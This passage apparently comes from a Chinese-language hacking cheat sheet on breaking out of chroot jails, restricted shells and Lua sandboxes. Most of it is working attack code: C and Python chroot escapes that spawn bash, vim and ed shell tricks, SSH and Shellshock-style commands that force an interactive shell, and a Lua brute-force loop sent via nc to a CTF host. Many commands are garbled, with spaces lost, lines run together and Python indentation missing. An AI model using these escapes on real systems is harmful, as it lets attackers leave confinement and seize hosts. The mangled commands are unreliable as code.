int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
使用 vim
:setshell=/bin/sh:shell
创建脚本
检查是否可以创建一个以 /bin/bash 为内容的可执行文件
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
通过SSH获取bash
如果您通过ssh访问,可以使用以下技巧执行bash shell:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
注意,每次在不同的 Lua 环境中执行上一个单行命令时,函数的顺序会发生变化。因此,如果您需要执行特定的函数,可以执行暴力攻击,加载不同的 Lua 环境并调用 le 库的第一个函数:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done